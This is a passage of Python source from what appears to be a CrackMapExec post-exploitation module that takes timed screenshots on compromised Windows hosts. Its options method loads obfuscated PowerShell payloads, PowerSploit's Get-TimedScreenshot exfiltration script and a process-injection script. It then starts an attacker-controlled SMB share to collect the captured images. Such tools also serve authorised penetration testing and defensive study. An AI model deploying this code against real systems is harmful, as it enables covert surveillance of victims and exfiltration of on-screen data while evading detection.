'INTERVAL  Specifies the interval in seconds between taking screenshots.
ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).'

def options(self, context, module_options):

    if ('INTERVAL' not in module_options):
        context.log.error('INTERVAL    option    is    required!')
        exit(1)
    if ('ENDTIME' not in module_options):
        context.log.error('ENDTIME    option    is    required!')
        exit(1)
    self.interval = int(module_options['INTERVAL'])
    self.endtime = module_options['ENDTIME']
    self.share_name = gen_random_string(5).upper()
    context.log.info('This    module    will    not    exit    until    CTRL-C    is    pressed')
    context.log.info('Screenshots    will    be    stored    in    ~/.cme/logs\n')
    self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
    self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1')
    self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
    self.smb_server.start()
